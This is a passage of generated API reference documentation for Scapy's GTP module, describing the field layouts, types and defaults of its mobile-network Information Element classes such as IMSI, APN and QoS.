+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |RESTRICTION TYP|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_APNRestriction                      


IE_APNRestriction fields






	ietype

	ByteEnumField

	149



	length

	ShortField

	1



	restriction_type_value

	ByteField

	0















	
class scapy.contrib.gtp.IE_AccessPointName(_pkt, /, *, ietype=131, length=None, APN=b'nternet')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L611-L622]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |      APN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. IE_AccessPointName                      


IE_AccessPointName fields






	ietype

	ByteEnumField

	131



	length

	ShortField

	None



	APN

	APNStrLenField

	b'nternet'











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L618-L622]

	








	
class scapy.contrib.gtp.IE_Base(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L444-L455]

	Bases: Packet


	
aliastypes

	




	
extract_padding(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L445-L446]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L448-L455]

	








	
class scapy.contrib.gtp.IE_BearerControlMode(_pkt, /, *, ietype=184, length=1, bearer_control_mode=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L844-L848]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |BEARER CONTROL |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_BearerControlMode                     


IE_BearerControlMode fields






	ietype

	ByteEnumField

	184



	length

	ShortField

	1



	bearer_control_mode

	ByteField

	0















	
class scapy.contrib.gtp.IE_Cause(_pkt, /, *, ietype=1, CauseValue=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L458-L461]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |   CAUSEVALUE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IE_Cause                           


IE_Cause fields






	ietype

	ByteEnumField

	1



	CauseValue

	ByteEnumField

	None















	
class scapy.contrib.gtp.IE_CharginGatewayAddress(_pkt, /, *, ietype=251, length=4, ipv4_address='127.0.0.1', ipv6_address='::1')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L863-L871]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |  IPV4 ADDRESS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |  IPV6 ADDRESS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IE_CharginGatewayAddress                   


IE_CharginGatewayAddress fields






	ietype

	ByteEnumField

	251



	length

	ShortField

	4



	ipv4_address

	IPField (Cond)

	'127.0.0.1'



	ipv6_address

	IP6Field (Cond)

	'::1'















	
class scapy.contrib.gtp.IE_ChargingCharacteristics(_pkt, /, *, ietype=26, Ch_ChSpare=None, normal_charging=None, prepaid_charging=None, flat_rate_charging=None, hot_billing_charging=None, Ch_ChReserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L527-L543]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |CH CHSP|N|P|F|H| CH CHRESERVED |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. IE_ChargingCharacteristics                  


IE_ChargingCharacteristics fields






	ietype

	ByteEnumField

	26



	Ch_ChSpare

	XBitField  (4 bits)

	None



	normal_charging

	XBitField  (1 bit)

	None



	prepaid_charging

	XBitField  (1 bit)

	None



	flat_rate_charging

	XBitField  (1 bit)

	None



	hot_billing_charging

	XBitField  (1 bit)

	None



	Ch_ChReserved

	XBitField  (8 bits)

	0















	
class scapy.contrib.gtp.IE_ChargingId(_pkt, /, *, ietype=127, Charging_id=<RandInt>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L560-L563]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |                  CHARGING ID                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. IE_ChargingId                        


IE_ChargingId fields






	ietype

	ByteEnumField

	127



	Charging_id

	XIntField

	<RandInt>















	
class scapy.contrib.gtp.IE_CommonFlags(_pkt, /, *, ietype=148, length=None, dual_addr_bearer_fl=0, upgrade_qos_supported=0, nrsn=0, no_qos_nego=0, mbms_cnting_info=0, ran_procedure_ready=0, mbms_service_type=0, prohibit_payload_compression=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L769-L780]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |D|U|N|N|M|R|M|P|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. IE_CommonFlags                        


IE_CommonFlags fields






	ietype

	ByteEnumField

	148



	length

	ShortField

	None



	dual_addr_bearer_fl

	BitField  (1 bit)

	0



	upgrade_qos_supported

	BitField  (1 bit)

	0



	nrsn

	BitField  (1 bit)

	0



	no_qos_nego

	BitField  (1 bit)

	0



	mbms_cnting_info

	BitField  (1 bit)

	0



	ran_procedure_ready

	BitField  (1 bit)

	0



	mbms_service_type

	BitField  (1 bit)

	0



	prohibit_payload_compression

	BitField  (1 bit)

	0















	
class scapy.contrib.gtp.IE_DirectTunnelFlags(_pkt, /, *, ietype=182, length=1, spare=0, EI=0, GCSI=0, DTI=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L833-L841]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |  SPARE  |E|G|D|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_DirectTunnelFlags                     


IE_DirectTunnelFlags fields






	ietype

	ByteEnumField

	182



	length

	ShortField

	1



	spare

	BitField  (5 bits)

	0



	EI

	BitField  (1 bit)

	0



	GCSI

	BitField  (1 bit)

	0



	DTI

	BitField  (1 bit)

	0















	
scapy.contrib.gtp.IE_Dispatcher(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L935-L946]

	Choose the correct Information Element class.






	
class scapy.contrib.gtp.IE_EndUserAddress(_pkt, /, *, ietype=128, length=2, SPARE=15, PDPTypeOrganization=1, PDPTypeNumber=None, PDPAddress=<RandIP>, IPv6_PDPAddress='::1')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L566-L585]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            | SPARE |PDPTYPE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PDPTYPENUMBER |                   PDPADDRESS                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                IPV6 PDPADDRESS                |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. IE_EndUserAddress                      


IE_EndUserAddress fields






	ietype

	ByteEnumField

	128



	length

	ShortField

	2



	SPARE

	BitField  (4 bits)

	15



	PDPTypeOrganization

	BitField  (4 bits)

	1



	PDPTypeNumber

	XByteField

	None



	PDPAddress

	IPField (Cond)

	<RandIP>



	IPv6_PDPAddress

	IP6Field (Cond)

	'::1'















	
class scapy.contrib.gtp.IE_EvolvedAllocationRetentionPriority(_pkt, /, *, ietype=191, length=1, spare1=0, PCI=0, PL=0, spare2=0, PVI=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L851-L860]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |S|P|   PL  |S|P|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. IE_EvolvedAllocationRetentionPriority            


IE_EvolvedAllocationRetentionPriority fields






	ietype

	ByteEnumField

	191



	length

	ShortField

	1



	spare1

	BitField  (1 bit)

	0



	PCI

	BitField  (1 bit)

	0



	PL

	XBitField  (4 bits)

	0



	spare2

	BitField  (1 bit)

	0



	PVI

	BitField  (1 bit)

	0















	
class scapy.contrib.gtp.IE_ExtensionHeaderList(_pkt, /, *, ietype=141, length=None, extension_headers=[64, 192])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L883-L887]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |EXTENSION HEADE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                   Fig. IE_ExtensionHeaderList                    


IE_ExtensionHeaderList fields






	ietype

	ByteEnumField

	141



	length

	FieldLenField

	None



	extension_headers

	FieldListField

	[64, 192]















	
class scapy.contrib.gtp.IE_GSNAddress(_pkt, /, *, ietype=133, length=None, ipv4_address=<RandIP>, ipv6_address='::1')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L633-L646]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |  IPV4 ADDRESS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |  IPV6 ADDRESS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_GSNAddress                        


IE_GSNAddress fields






	ietype

	ByteEnumField

	133



	length

	ShortField

	None



	ipv4_address

	IPField (Cond)

	<RandIP>



	ipv6_address

	IP6Field (Cond)

	'::1'











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L642-L646]

	








	
class scapy.contrib.gtp.IE_IMEI(_pkt, /, *, ietype=154, length=None, IMEI=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L819-L823]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |      IMEI     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                           Fig. IE_IMEI                           


IE_IMEI fields






	ietype

	ByteEnumField

	154



	length

	ShortField

	None



	IMEI

	TBCDByteField

	b''















	
class scapy.contrib.gtp.IE_IMSI(_pkt, /, *, ietype=2, imsi=b'702990820657946')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L464-L467]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |                      IMSI                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                           Fig. IE_IMSI                           


IE_IMSI fields






	ietype

	ByteEnumField

	2



	imsi

	TBCDByteField

	b'702990820657946'















	
class scapy.contrib.gtp.IE_MSInfoChangeReportingAction(_pkt, /, *, ietype=181, length=1, Action=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L826-L830]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |     ACTION    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. IE_MSInfoChangeReportingAction                


IE_MSInfoChangeReportingAction fields






	ietype

	ByteEnumField

	181



	length

	ShortField

	1



	Action

	ByteField

	0















	
class scapy.contrib.gtp.IE_MSInternationalNumber(_pkt, /, *, ietype=134, length=None, flags=<Flag 145 (Extension++ISDN numbering)>, digits=b'33607080910')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L649-L654]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |     FLAGS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             DIGITS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IE_MSInternationalNumber                   


IE_MSInternationalNumber fields






	ietype

	ByteEnumField

	134



	length

	ShortField

	None



	flags

	FlagsField

	<Flag 145 (Extension++ISDN numbering)>



	digits

	TBCDByteField

	b'33607080910'















	
class scapy.contrib.gtp.IE_MSTimeZone(_pkt, /, *, ietype=153, length=None, timezone=0, spare=0, daylight_saving_time=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L810-L816]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |    TIMEZONE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   SPARE   |DAY|
+-+-+-+-+-+-+-+-+

                        Fig. IE_MSTimeZone                        


IE_MSTimeZone fields






	ietype

	ByteEnumField

	153



	length

	ShortField

	None



	timezone

	ByteField

	0



	spare

	BitField  (6 bits)

	0



	daylight_saving_time

	XBitField  (2 bits)

	0















	
class scapy.contrib.gtp.IE_NSAPI(_pkt, /, *, ietype=20, sparebits=0, NSAPI=<RandNum>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L519-L524]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |SPAREBI| NSAPI |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IE_NSAPI                           


IE_NSAPI fields






	ietype

	ByteEnumField

	20



	sparebits

	XBitField  (4 bits)

	0



	NSAPI

	XBitField  (4 bits)

	<RandNum>















	
class scapy.contrib.gtp.IE_NotImplementedTLV(_pkt, /, *, ietype=0, length=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L890-L897]

	Bases: Packet


	
aliastypes

	




	
extract_padding(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L896-L897]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                    Fig. IE_NotImplementedTLV                     


IE_NotImplementedTLV fields






	ietype

	ByteEnumField

	0



	length

	ShortField

	None



	data

	StrLenField

	b''















	
class scapy.contrib.gtp.IE_PrivateExtension(_pkt, /, *, ietype=255, length=1, extension_identifier=0, extention_value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L874-L880]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |EXTENSION IDENT|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        EXTENTION VALUE        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_PrivateExtension                     


IE_PrivateExtension fields






	ietype

	ByteEnumField

	255



	length

	ShortField

	1



	extension_identifier

	ByteField

	0



	extention_value

	StrLenField

	b''















	
class scapy.contrib.gtp.IE_ProtocolConfigurationOptions(_pkt, /, *, ietype=132, length=4, Protocol_Configuration=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L625-L630]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |PROTOCOL CONFIG|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

               Fig. IE_ProtocolConfigurationOptions               


IE_ProtocolConfigurationOptions fields






	ietype

	ByteEnumField

	132



	length

	ShortField

	4



	Protocol_Configuration

	StrLenField

	b''















	
class scapy.contrib.gtp.IE_QoS(_pkt, /, *, ietype=135, length=None, allocation_retention_prioiry=1, spare1=0, delay_class=0, reliability_class=0, peak_troughput=0, spare2=0, precedence_class=0, spare3=0, mean_troughput=0, traffic_class=0, delivery_order=0, delivery_of_err_sdu=0, max_sdu_size=None, max_bitrate_up=None, max_bitrate_down=None, redidual_ber=0, sdu_err_ratio=0, transfer_delay=0, traffic_handling_prio=0, guaranteed_bit_rate_up=None, guaranteed_bit_rate_down=None, spare4=0, signaling_indication=0, source_stats_desc=0, max_bitrate_down_ext=None, guaranteed_bitrate_down_ext=None, max_bitrate_up_ext=None, guaranteed_bitrate_up_ext=None, max_bitrate_down_ext2=None, guaranteed_bitrate_down_ext2=None, max_bitrate_up_ext2=None, guaranteed_bitrate_up_ext2=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L684-L766]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |ALLOCATION RETE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SPA|DELAY|RELIA|PEAK TR|S|PRECE|SPARE|MEAN TROU|TRAFF|DEL|DELIV|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  MAX SDU SIZE | MAX BITRATE UP|MAX BITRATE DOW|REDIDUA|SDU ERR|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|TRANSFER DE|TRA|GUARANTEED BIT |GUARANTEED BIT |SPARE|S|SOURCE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MAX BITRATE DOW|GUARANTEED BITR|MAX BITRATE UP |GUARANTEED BITR|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MAX BITRATE DOW|GUARANTEED BITR|MAX BITRATE UP |GUARANTEED BITR|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_QoS                            


IE_QoS fields






	ietype

	ByteEnumField

	135



	length

	ShortField

	None



	allocation_retention_prioiry

	ByteField

	1



	spare1

	XBitField (Cond) (2 bits)

	0



	delay_class

	XBitField (Cond) (3 bits)

	0



	reliability_class

	XBitField (Cond) (3 bits)

	0



	peak_troughput

	XBitField (Cond) (4 bits)

	0



	spare2

	BitField (Cond) (1 bit)

	0



	precedence_class

	XBitField (Cond) (3 bits)

	0



	spare3

	XBitField (Cond) (3 bits)

	0



	mean_troughput

	XBitField (Cond) (5 bits)

	0



	traffic_class

	XBitField (Cond) (3 bits)

	0



	delivery_order

	XBitField (Cond) (2 bits)

	0



	delivery_of_err_sdu

	XBitField (Cond) (3 bits)

	0



	max_sdu_size

	ByteField (Cond)

	None



	max_bitrate_up

	ByteField (Cond)

	None



	max_bitrate_down

	ByteField (Cond)

	None



	redidual_ber

	XBitField (Cond) (4 bits)

	0



	sdu_err_ratio

	XBitField (Cond) (4 bits)

	0



	transfer_delay

	XBitField (Cond) (6 bits)

	0



	traffic_handling_prio

	XBitField (Cond) (2 bits)

	0



	guaranteed_bit_rate_up

	ByteField (Cond)

	None



	guaranteed_bit_rate_down

	ByteField (Cond)

	None



	spare4

	XBitField (Cond) (3 bits)

	0



	signaling_indication

	BitField (Cond) (1 bit)

	0



	source_stats_desc

	XBitField (Cond) (4 bits)

	0



	max_bitrate_down_ext

	ByteField (Cond)

	None



	guaranteed_bitrate_down_ext

	ByteField (Cond)

	None



	max_bitrate_up_ext

	ByteField (Cond)

	None



	guaranteed_bitrate_up_ext

	ByteField (Cond)

	None



	max_bitrate_down_ext2

	ByteField (Cond)

	None



	guaranteed_bitrate_down_ext2

	ByteField (Cond)

	None



	max_bitrate_up_ext2

	ByteField (Cond)

	None



	guaranteed_bitrate_up_ext2

	ByteField (Cond)

	None















	
class scapy.contrib.gtp.IE_RATType(_pkt, /, *, ietype=151, length=1, RAT_Type=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L790-L794]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |    RAT TYPE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IE_RATType                          


IE_RATType fields






	ietype

	ByteEnumField

	151



	length

	ShortField

	1



	RAT_Type

	ByteEnumField

	None















	
class scapy.contrib.gtp.IE_Recovery(_pkt, /, *, ietype=14, restart_counter=24)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp.py#L487-L490]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
